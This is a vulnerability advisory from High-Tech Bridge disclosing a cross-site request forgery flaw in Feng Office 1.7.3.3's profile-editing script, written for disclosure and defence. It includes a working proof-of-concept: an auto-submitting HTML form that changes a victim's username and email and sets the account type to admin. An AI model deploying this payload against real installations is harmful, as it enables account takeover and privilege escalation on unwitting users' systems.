Feng Office 1.7.3.3 – Cross-Site Request Forgery
Vulnerability ID: HTB22910 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_feng_office.html Product: Feng Office Vendor: Secure Data SRL ( http://www.fengoffice.com/ ) Vulnerable Version: 1.7.3.3 and probably prior versions Vendor Notification: 17 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the users editing script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php?active_project=0&ajax=true&c=account&a=edi t_profile&id=USERID¤t=administration" method="post" name="main"> <input type="hidden" name="user[display_name]" value="test"> <input type="hidden" name="user[username]" value="test"> <input type="hidden" name="user[company_id]" value="1"> <input type="hidden" name="user[personal_project_id]" value="2"> <input type="hidden" name="user[type]" value="admin"> <input type="hidden" name="user[auto_assign]" value="0"> <input type="hidden" name="user[autodetect_time_zone]" value="1"> <input type="hidden" name="user[timezone]" value="0"> <input type="hidden" name="user[email]" value="email (at) example (dot) com [email concealed]"> <input type="hidden" name="user[title]" value=""> </form> <script> document.main.submit(); </script> |